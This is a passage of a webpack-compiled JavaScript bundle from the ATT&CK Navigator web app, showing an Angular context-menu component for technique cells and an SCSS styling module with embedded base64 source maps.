NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIGZvbnQtc2l6ZTogMTJweDtcbiAgICAgICAgY29udGVudDogJ1xcMjVCQyc7XG4gICAgICAgIGNvbG9yOiByZ2JhKDgwLCA4MCwgODAsICRvcGFjaXR5KTtcbiAgICB9XG59Il19 */" + +/***/ }), + +/***/ "./src/app/matrix/technique-cell/contextmenu/contextmenu.component.ts": +/*!****************************************************************************!*\ + !*** ./src/app/matrix/technique-cell/contextmenu/contextmenu.component.ts ***! + \****************************************************************************/ +/*! exports provided: ContextmenuComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ContextmenuComponent", function() { return ContextmenuComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../../data.service */ "./src/app/data.service.ts"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../../config.service */ "./src/app/config.service.ts"); +/* harmony import */ var _cell_popover__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../cell-popover */ "./src/app/matrix/technique-cell/cell-popover.ts"); +var __extends = (undefined && undefined.__extends) || (function () { + var extendStatics = function (d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; }; + return extendStatics(d, b); + }; + return function (d, b) { + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); + }; +})(); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + + + +var ContextmenuComponent = /** @class */ (function (_super) { + __extends(ContextmenuComponent, _super); + function ContextmenuComponent(element, configService) { + var _this = _super.call(this, element) || this; + _this.element = element; + _this.configService = configService; + _this.close = new _angular_core__WEBPACK_IMPORTED_MODULE_0__["EventEmitter"](); + return _this; + } + Object.defineProperty(ContextmenuComponent.prototype, "techniqueVM", { + get: function () { + return this.viewModel.getTechniqueVM(this.technique, this.tactic); + }, + enumerable: true, + configurable: true + }); + ContextmenuComponent.prototype.ngOnInit = function () { + this.placement = this.getPosition(); + }; + ContextmenuComponent.prototype.closeContextmenu = function () { + this.close.emit(); + }; + ContextmenuComponent.prototype.select = function () { + this.viewModel.clearSelectedTechniques(); + this.viewModel.selectTechnique(this.technique, this.tactic); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.addSelection = function () { + this.viewModel.selectTechnique(this.technique, this.tactic); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.removeSelection = function () { + this.viewModel.unselectTechnique(this.technique, this.tactic); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.selectAll = function () { + this.viewModel.selectAllTechniques(); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.deselectAll = function () { + this.viewModel.clearSelectedTechniques(); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.invertSelection = function () { + this.viewModel.invertSelection(); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.selectAnnotated = function () { + this.viewModel.selectAnnotated(); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.selectUnannotated = function () { + this.viewModel.selectUnannotated(); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.viewTechnique = function () { + window.open(this.technique.url, "_blank"); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.viewTactic = function () { + window.open(this.tactic.url, "_blank"); + this.closeContextmenu(); + }; + ContextmenuComponent.prototype.openCustomContextMenuItem = function (customItem) { + window.open(customItem.getReplacedURL(this.technique, this.tactic), "_blank"); + this.closeContextmenu(); + }; + ContextmenuComponent.ctorParameters = function () { return [ + { type: _angular_core__WEBPACK_IMPORTED_MODULE_0__["ElementRef"] }, + { type: _config_service__WEBPACK_IMPORTED_MODULE_3__["ConfigService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Technique"]) + ], ContextmenuComponent.prototype, "technique", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Tactic"]) + ], ContextmenuComponent.prototype, "tactic", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__["ViewModel"]) + ], ContextmenuComponent.prototype, "viewModel", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Output"])(), + __metadata("design:type", Object) + ], ContextmenuComponent.prototype, "close", void 0); + ContextmenuComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'app-contextmenu', + template: __webpack_require__(/*! raw-loader!./contextmenu.component.html */ "./node_modules/raw-loader/index.js!./src/app/matrix/technique-cell/contextmenu/contextmenu.component.html"), + styles: [__webpack_require__(/*! ./contextmenu.component.scss */ "./src/app/matrix/technique-cell/contextmenu/contextmenu.component.scss")] + }), + __metadata("design:paramtypes", [_angular_core__WEBPACK_IMPORTED_MODULE_0__["ElementRef"], _config_service__WEBPACK_IMPORTED_MODULE_3__["ConfigService"]]) + ], ContextmenuComponent); + return ContextmenuComponent; +}(_cell_popover__WEBPACK_IMPORTED_MODULE_4__["CellPopover"])); + + + +/***/ }), + +/***/ "./src/app/matrix/technique-cell/technique-cell.component.scss": +/*!*********************************************************************!*\ + !*** ./src/app/matrix/technique-cell/technique-cell.component.scss ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "@charset \"UTF-8\";\n/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.matrix {\n border-collapse: collapse;\n line-height: 14px;\n}\n.technique-cell {\n cursor: pointer;\n height: 100%;\n display: flex;\n align-items: center;\n position: relative;\n font-size: 13px;\n line-height: 14px;\n min-width: 14px;\n min-height: 14px;\n}\n.technique-cell > div {\n padding: 7px 3px;\n box-sizing: border-box;\n display: block;\n width: 100%;\n height: 100%;\n}\n.technique-cell.showID:not(.showName) {\n text-align: center;\n}\n.technique-cell .id-name-break {\n outline-offset: -0.5px;\n outline: 1px solid rgba(223, 223, 223, 0.5);\n}\n.technique-cell:not(.editing):not(.colored):not(.supertechniquecell) {\n box-shadow: 0 0 0 1px #dfdfdf inset;\n}\n.technique-cell.editing {\n box-shadow: 0 0 0 1px black inset;\n}\n.technique-cell.commented.mini div:before {\n position: absolute;\n content: \"i\";\n font-size: 13px;\n text-align: center;\n width: 100%;\n top: 0;\n left: 0;\n}\n.technique-cell.commented div span {\n border-bottom: 2px solid transparent;\n}\n.technique-cell.mini.disabled div:before {\n position: absolute;\n content: \"✕\";\n font-size: 14px -1px;\n text-align: center;\n width: 100%;\n top: 0;\n left: 0;\n}\n.technique-cell.highlight {\n background: #60c5ff;\n}\n.technique-cell.highlight .id-name-break {\n outline: 1px solid rgba(0, 0, 0, 0.5);\n}\n.technique-cell.unannotated .sub {\n color: gray;\n}\n.sub {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n bottom: -0.5em;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNyYy9hcHAvbWF0cml4L3RlY2huaXF1ZS1jZWxsL3RlY2huaXF1ZS1jZWxsLmNvbXBvbmVudC5zY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zcmMvYXBwL21hdHJpeC90ZWNobmlxdWUtY2VsbC90ZWNobmlxdWUtY2VsbC5jb21wb25lbnQuc2NzcyIsIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9tYXRyaXgvbWF0cml4LWNvbW1vbi5zY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zdGRpbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxnQkFBZ0I7QUNlaEI7Ozs7Ozs7O0VBQUE7QUNYQTtFQUNJLHlCQUFBO0VBQ0EsaUJBSk87QUZXWDtBR1pBO0VBQ0ksZUFBQTtFQUNBLFlBQUE7RUFDQSxhQUFBO0VBQ0EsbUJBQUE7RUFFQSxrQkFBQTtFQUVBLGVBQUE7RUFDQSxpQkRSTztFQ1VQLGVEVk87RUNXUCxnQkRYTztBRnVCWDtBR1ZJO0VBQ0ksZ0JBQUE7RUFDQSxzQkFBQTtFQUNBLGNBQUE7RUFDQSxXQUFBO0VBQ0EsWUFBQTtBSFlSO0FHVEk7RUFDSSxrQkFBQTtBSFdSO0FHUEk7RUFDSSxzQkFBQTtFQUNBLDJDQUFBO0FIU1I7QUdOSTtFQUNJLG1DQUFBO0FIUVI7QUdMSTtFQUNJLGlDQUFBO0FIT1I7QUdIUTtFQUNJLGtCQUFBO0VBQ0EsWUFBQTtFQUNBLGVBQUE7RUFDQSxrQkFBQTtFQUNBLFdBQUE7RUFDQSxNQUFBO0VBQ0EsT0FBQTtBSEtaO0FHSFE7RUFDSSxvQ0FBQTtBSEtaO0FHREk7RUFDSSxrQkFBQTtFQUNBLFlBQUE7RUFDQSxvQkFBQTtFQUNBLGtCQUFBO0VBQ0EsV0FBQTtFQUNBLE1BQUE7RUFDQSxPQUFBO0FIR1I7QUdBSTtFQUNJLG1CRmpFZTtBRG1FdkI7QUdEUTtFQUNJLHFDQUFBO0FIR1o7QUdFUTtFQUNJLFdBQUE7QUhBWjtBR0tBO0VBQ0ksa0JBQUE7RUFDQSxjQUFBO0VBQ0EsY0FBQTtFQUNBLHdCQUFBO0VBQ0EsY0FBQTtBSEZKIiwiZmlsZSI6InNyYy9hcHAvbWF0cml4L3RlY2huaXF1ZS1jZWxsL3RlY2huaXF1ZS1jZWxsLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiQGNoYXJzZXQgXCJVVEYtOFwiO1xuLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuLm1hdHJpeCB7XG4gIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gIGxpbmUtaGVpZ2h0OiAxNHB4O1xufVxuXG4udGVjaG5pcXVlLWNlbGwge1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIGhlaWdodDogMTAwJTtcbiAgZGlzcGxheTogZmxleDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBmb250LXNpemU6IDEzcHg7XG4gIGxpbmUtaGVpZ2h0OiAxNHB4O1xuICBtaW4td2lkdGg6IDE0cHg7XG4gIG1pbi1oZWlnaHQ6IDE0cHg7XG59XG4udGVjaG5pcXVlLWNlbGwgPiBkaXYge1xuICBwYWRkaW5nOiA3cHggM3B4O1xuICBib3gtc2l6aW5nOiBib3JkZXItYm94O1xuICBkaXNwbGF5OiBibG9jaztcbiAgd2lkdGg6IDEwMCU7XG4gIGhlaWdodDogMTAwJTtcbn1cbi50ZWNobmlxdWUtY2VsbC5zaG93SUQ6bm90KC5zaG93TmFtZSkge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG59XG4udGVjaG5pcXVlLWNlbGwgLmlkLW5hbWUtYnJlYWsge1xuICBvdXRsaW5lLW9mZnNldDogLTAuNXB4O1xuICBvdXRsaW5lOiAxcHggc29saWQgcmdiYSgyMjMsIDIyMywgMjIzLCAwLjUpO1xufVxuLnRlY2huaXF1ZS1jZWxsOm5vdCguZWRpdGluZyk6bm90KC5jb2xvcmVkKTpub3QoLnN1cGVydGVjaG5pcXVlY2VsbCkge1xuICBib3gtc2hhZG93OiAwIDAgMCAxcHggI2RmZGZkZiBpbnNldDtcbn1cbi50ZWNobmlxdWUtY2VsbC5lZGl0aW5nIHtcbiAgYm94LXNoYWRvdzogMCAwIDAgMXB4IGJsYWNrIGluc2V0O1xufVxuLnRlY2huaXF1ZS1jZWxsLmNvbW1lbnRlZC5taW5pIGRpdjpiZWZvcmUge1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIGNvbnRlbnQ6IFwiaVwiO1xuICBmb250LXNpemU6IDEzcHg7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgd2lkdGg6IDEwMCU7XG4gIHRvcDogMDtcbiAgbGVmdDogMDtcbn1cbi50ZWNobmlxdWUtY2VsbC5jb21tZW50ZWQgZGl2IHNwYW4ge1xuICBib3JkZXItYm90dG9tOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG59XG4udGVjaG5pcXVlLWNlbGwubWluaS5kaXNhYmxlZCBkaXY6YmVmb3JlIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBjb250ZW50OiBcIuKclVwiO1xuICBmb250LXNpemU6IDE0cHggLTFweDtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICB3aWR0aDogMTAwJTtcbiAgdG9wOiAwO1xuICBsZWZ0OiAwO1xufVxuLnRlY2huaXF1ZS1jZWxsLmhpZ2hsaWdodCB7XG4gIGJhY2tncm91bmQ6ICM2MGM1ZmY7XG59XG4udGVjaG5pcXVlLWNlbGwuaGlnaGxpZ2h0IC5pZC1uYW1lLWJyZWFrIHtcbiAgb3V0bGluZTogMXB4IHNvbGlkIHJnYmEoMCwgMCwgMCwgMC41KTtcbn1cbi50ZWNobmlxdWUtY2VsbC51bmFubm90YXRlZCAuc3ViIHtcbiAgY29sb3I6IGdyYXk7XG59XG5cbi5zdWIge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIGZvbnQtc2l6ZTogNzUlO1xuICBsaW5lLWhlaWdodDogMDtcbiAgdmVydGljYWwtYWxpZ246IGJhc2VsaW5lO1xuICBib3R0b206IC0wLjVlbTtcbn0iLCIkY29sdW1uLWhvdmVyLWNvbG9yOiByZ2IoMjM1LCAyMzUsIDIzNSk7XG4kZGlzYWJsZWQtY29sb3I6IGRhcmtlbigkY29sdW1uLWhvdmVyLWNvbG9yLCAyMCUpO1xuJGNlbGwtaGlnaGxpZ2h0LWNvbG9yOiByZ2IoOTYsIDE5NywgMjU1KTtcbiRob3Zlci1jZWxsLWZvbnQtY29sb3I6IHJnYigwLCAwLCAwKTtcbiRwYW5lbC1kYXJrOiAjZGRkO1xuJHBhbmVsLWxpZ2h0OiBsaWdodGVuKCRwYW5lbC1kYXJrLCA4JSk7XG4kdGFiLXRleHQtY29sb3I6ICM1NTU7XG4kYnV0dG9uLWRhcms6ICNiOGI4Yjg7XG5cbi8vIEFUVCZDSyBCcmFuZCBjb2xvcnNcbiRhdHRhY2stY29sb3JzOiAoXG4gICAgYXR0YWNrLW9yYW5nZTogI2M2M2YxZixcbiAgICBhdHRhY2stYmx1ZTogIzA2MmY0ZlxuKTtcblxuLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuJGNvbG9yczogKFxuICAgIHByaW1hcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLW9yYW5nZSksIG9uLWNvbG9yOiB3aGl0ZSksICAvL3VzZWQgZm9yIGhlYWRlciBhbmQgc29tZSBuYXYgZWxlbWVudHNcbiAgICBzZWNvbmRhcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLWJsdWUpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBmb290ZXIgYW5kIHNvbWUgYnV0dG9uc1xuICAgIGJvZHk6IChjb2xvcjogd2hpdGUsIG9uLWNvbG9yOiAjMzk0MzRDKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9wcmltYXJ5IHBhZ2UgYm9keVxuLy8gIGJvZHk6IChjb2xvcjogcmdiKDUwLCA1MCwgNTApLCBvbi1jb2xvcjogI2NkY2RjZCksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZXhhbXBsZSBvZiBhIGRhcmsgdGhlbWUgZm9yIHRoZSBzaXRlXG4gICAgbGluazogKGNvbG9yOiAjNGY3Y2FjKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vaHlwZXJsaW5rc1xuICAgIG1hdHJpeC1oZWFkZXI6IChjb2xvcjogZ3JheSwgb24tY29sb3I6IHdoaXRlKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jb2xvciBvZiBtYXRyaXggaGVhZGVyc1xuXG4gICAgLy9ib290c3RyYXAgY29sb3JzXG4gICAgYm9vdHN0cmFwLXByaW1hcnk6IChjb2xvcjogIzQyOGJjYSwgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtc3VjY2VzczogKGNvbG9yOiAjNWNiODVjLCBvbi1jb2xvcjogd2hpdGUpLFxuICAgIGJvb3RzdHJhcC1kYW5nZXI6IChjb2xvcjogI2Q5NTM0Ziwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtd2FybmluZzogKGNvbG9yOiAjZjBhZDRlLCBvbi1jb2xvcjogYmxhY2spLFxuICAgIGJvb3RzdHJhcC1pbmZvOiAoY29sb3I6ICM1YmMwZGUsIG9uLWNvbG9yOiB3aGl0ZSksXG5cbiAgICAvL1RPRE8gZGVwcmVjYXRlIHdpdGggc2VhcmNoIHBhZ2UgY2hhbmdlc1xuICAgIHNlYXJjaC1yZXN1bHRzLWJvcmRlcjogKGNvbG9yOiBibGFjaywgb24tY29sb3I6IGxpZ2h0Z3JleSksICBcbik7XG5cbi8vIGFjY2Vzc29yIGhlbHBlciBmb3IgJGNvbG9ycy4gR2V0cyB0aGUgY29sb3Igb2YgdGhlIG5hbWVkIHBhaXJcbkBmdW5jdGlvbiBjb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWFwLWdldChtYXAtZ2V0KCRjb2xvcnMsICRuYW1lKSwgXCJjb2xvclwiKTtcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBnZXQgYW4gYWx0ZXJuYXRlIHZlcnNpb24gb2YgdGhlIGNvbG9yLCBmb3IgcGF0dGVybmluZ1xuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgZGFyaywgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGxpZ2h0ZXIuXG4vLyBpZiB0aGUgYmFzZSBjb2xvciBpcyBsaWdodCwgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGRhcmtlci5cbi8vIGNvbnRyYXN0LCBhbiBvcHRpb25hbCBhcmd1bWVudCwgbXVsdGlwbGllcyB0byBjcmVhdGUgYSBtb3JlIGRpc3RpbnQgb3Igc2ltaWxhciBjb2xvci4gPjEgaXMgbW9yZSBkaXN0YW50LCA8MSBpcyBtb3JlIHNpbWlsYXIuXG5AZnVuY3Rpb24gY29sb3ItYWx0ZXJuYXRlKCRuYW1lLCAkY29udHJhc3Q6IDEpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAkd2VpZ2h0OiAkY29udHJhc3QgKiA1JSk7IFxufVxuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIG9uLWNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gb24tY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwib24tY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3ItbmFtZSwgZ2V0IGFuIGVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZW1waGFzaXplZCBvbi1jb2xvciBpcyBsZXNzIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZW1waGFzaXMoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgb24tY29sb3IoJG5hbWUpKTsgXG59XG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBkZWVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZGVlbXBoYXNpemVkIG9uLWNvbG9yIGlzIG1vcmUgbGlrZSB0aGUgYmFja2dyb3VuZCBjb2xvci5cbkBmdW5jdGlvbiBvbi1jb2xvci1kZWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoY29sb3IoJG5hbWUpLCBvbi1jb2xvcigkbmFtZSksIDI1JSk7IFxufVxuXG4vLyBnaXZlbiBhIGNvbG9yIG5hbWUsIGNvbXB1dGUgYSBib3JkZXIgY29sb3IgZm9yIHRoZSBjb2xvclxuQGZ1bmN0aW9uIGJvcmRlci1jb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBjb2xvcigkbmFtZSksIDEyLjUlKTsgXG4gICAgLy8gQHJldHVybiByZ2JhKGludmVydChjb2xvcigkbmFtZSkpLCAwLjEyNSk7XG59XG4iLCJAaW1wb3J0IFwiLi4vLi4vY29sb3JzLnNjc3NcIjtcblxuJHNpemV1bml0OiAxNHB4O1xuXG4ubWF0cml4IHtcbiAgICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xuICAgIGxpbmUtaGVpZ2h0OiAkc2l6ZXVuaXQ7XG59IiwiQGltcG9ydCBcIi4uL21hdHJpeC1jb21tb24uc2Nzc1wiO1xuLnRlY2huaXF1ZS1jZWxsIHtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgaGVpZ2h0OiAxMDAlO1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcblxuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuICAgIGZvbnQtc2l6ZTogJHNpemV1bml0IC0gMXB4O1xuICAgIGxpbmUtaGVpZ2h0OiAkc2l6ZXVuaXQ7XG4gICAgXG4gICAgbWluLXdpZHRoOiAkc2l6ZXVuaXQ7XG4gICAgbWluLWhlaWdodDogJHNpemV1bml0O1xuICAgIFxuICAgID5kaXYgeyBcbiAgICAgICAgcGFkZGluZzogJHNpemV1bml0IC8yIDNweDsgXG4gICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgIH1cblxuICAgICYuc2hvd0lEOm5vdCguc2hvd05hbWUpIHtcbiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIH1cblxuXG4gICAgLmlkLW5hbWUtYnJlYWsge1xuICAgICAgICBvdXRsaW5lLW9mZnNldDogLTAuNXB4O1xuICAgICAgICBvdXRsaW5lOiAxcHggc29saWQgcmdiYShib3JkZXItY29sb3IoYm9keSksIDAuNSk7XG4gICAgfVxuICAgICAgIFxuICAgICY6bm90KC5lZGl0aW5nKTpub3QoLmNvbG9yZWQpOm5vdCguc3VwZXJ0ZWNobmlxdWVjZWxsKSB7IFxuICAgICAgICBib3gtc2hhZG93OiAwIDAgMCAxcHggYm9yZGVyLWNvbG9yKGJvZHkpIGluc2V0O1xuICAgIH1cblxuICAgICYuZWRpdGluZyB7XG4gICAgICAgIGJveC1zaGFkb3c6IDAgMCAwIDFweCBibGFjayBpbnNldDtcbiAgICB9XG5cbiAgICAmLmNvbW1lbnRlZCB7XG4gICAgICAgICYubWluaSBkaXY6YmVmb3JlIHtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgIGNvbnRlbnQ6IFwiaVwiO1xuICAgICAgICAgICAgZm9udC1zaXplOiAkc2l6ZXVuaXQgLSAxcHg7XG4gICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgIHRvcDogMDtcbiAgICAgICAgICAgIGxlZnQ6IDA7XG4gICAgICAgIH1cbiAgICAgICAgZGl2IHNwYW4ge1xuICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgJi5taW5pLmRpc2FibGVkIGRpdjpiZWZvcmUge1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIGNvbnRlbnQ6IFwiXFwyNzE1XCI7XG4gICAgICAgIGZvbnQtc2l6ZTogJHNpemV1bml0IC0xcHg7XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgIHRvcDogMDtcbiAgICAgICAgbGVmdDogMDtcbiAgICB9XG5cbiAgICAmLmhpZ2hsaWdodCB7XG4gICAgICAgIGJhY2tncm91bmQ6ICRjZWxsLWhpZ2hsaWdodC1jb2xvcjtcbiAgICAgICAgLmlkLW5hbWUtYnJlYWsge1xuICAgICAgICAgICAgb3V0bGluZTogMXB4IHNvbGlkIHJnYmEoYmxhY2ssIDAuNSk7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICAmLnVuYW5ub3RhdGVkIHtcbiAgICAgICAgLnN1YiB7XG4gICAgICAgICAgICBjb2xvcjogZ3JheTtcbiAgICAgICAgfVxuICAgIH1cbn1cblxuLnN1YiB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIGZvbnQtc2l6ZTogNzUlO1xuICAgIGxpbmUtaG